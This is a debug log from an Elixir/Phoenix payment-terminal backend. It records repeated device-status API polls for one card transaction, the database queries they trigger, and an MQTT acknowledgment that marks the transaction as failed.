SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:22:01.967000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:47796] QUERY OK source="pos_failed_transaction" db=4.3ms idle=1398.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:22:01.969000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:47796] QUERY OK source="cloud_transaction" db=1.4ms idle=505.7ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:22:01.969000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:47796] Sent 200 in 47ms
[Thu Sep  3 10:22:06.654000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:47812] POST /api/device/status
[Thu Sep  3 10:22:06.655000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:47812] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:22:06.655000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:47812] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:22:06.655000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:47812] Transaction reference number: "ch447229914786"
[Thu Sep  3 10:22:06.670000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:47812] QUERY OK source="pos_transaction" db=14.1ms idle=1084.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:22:06.671000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:47812] QUERY OK source="pos_temp_transaction" db=0.5ms idle=1098.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:22:06.673000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:47812] QUERY OK source="pos_failed_transaction" db=2.5ms queue=0.1ms idle=1099.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:22:06.675000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:47812] QUERY OK source="cloud_transaction" db=0.8ms queue=0.1ms idle=1101.6ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:22:06.677000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:47812] Sent 200 in 22ms
[Thu Sep  3 10:22:11.680000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:46760] POST /api/device/status
[Thu Sep  3 10:22:11.680000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:46760] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:22:11.680000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:46760] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:22:11.680000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:46760] Transaction reference number: "ch447229914786"
[Thu Sep  3 10:22:11.696000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46760] QUERY OK source="pos_transaction" db=14.9ms idle=1109.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:22:11.697000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46760] QUERY OK source="pos_temp_transaction" db=0.6ms queue=0.1ms idle=1124.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:22:11.700000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46760] QUERY OK source="pos_failed_transaction" db=2.5ms idle=1125.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:22:11.701000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46760] QUERY OK source="cloud_transaction" db=1.5ms idle=1128.1ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:22:11.702000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:46760] Sent 200 in 22ms
[Thu Sep  3 10:22:15.778000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received ACK for merchant pFppbioOCKlo5c8E, device 98251226730002 with payload: {"request_id" : "ch447229914786","money": "12200.0", "status": "FAILED" }
[Thu Sep  3 10:22:15.778000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received OTA update for device 98251226730002 with request_id ch447229914786: %{"money" => "12200.0", "request_id" => "ch447229914786", "status" => "FAILED"}
[Thu Sep  3 10:22:15.778000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Status for request_id ch447229914786 is failed
[Thu Sep  3 10:22:15.785000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=3.2ms idle=1208.5ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE ((c0.`transaction_ref_number` = ?) AND (c0.`device_id` = ?)) ["ch447229914786", "98251226730002"]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:52
[Thu Sep  3 10:22:15.822000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=35.3ms queue=1.0ms idle=1211.6ms
UPDATE `cloud_transaction` SET `status` = ?, `acknoledgment` = ?, `updated_at` = ? WHERE `id` = ? ["failed", "received", ~N[2026-09-03 10:22:15], 4954]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:63
[Thu Sep  3 10:22:15.822000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Transaction ch447229914786 updated to failed/received
[Thu Sep  3 10:22:16.840000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:46762] POST /api/device/status
[Thu Sep  3 10:22:16.841000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:46762] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:22:16.841000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:46762] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:22:16.841000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:46762] Transaction reference number: "ch447229914786"
[Thu Sep  3 10:22:16.854000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46762] QUERY OK source="pos_transaction" db=12.2ms queue=0.3ms idle=1268.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:22:16.855000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46762] QUERY OK source="pos_temp_transaction" db=0.6ms idle=1281.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:22:16.858000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46762] QUERY OK source="pos_failed_transaction" db=2.6ms idle=1282.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:22:16.859000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46762] QUERY OK source="cloud_transaction" db=0.7ms idle=1285.6ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:22:16.860000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:46762] Sent 200 in 19ms
[Thu Sep  3 10:22:21.616000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:54076] POST /api/device/status
[Thu Sep  3 10:22:21.616000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:54076] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:22:21.616000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:54076] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:22:21.617000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:54076] Transaction reference number: "ch447229914786"
[Thu Sep  3 10:22:21.631000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:54076] QUERY OK source="pos_transaction" db=13.1ms queue=0.7ms idle=1044.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:22:21.632000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:54076] QUERY OK source="pos_temp_transaction" db=0.6ms idle=1058.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:22:21.635000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:54076] QUERY OK source="pos_failed_transaction" db=2.6ms idle=1059.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
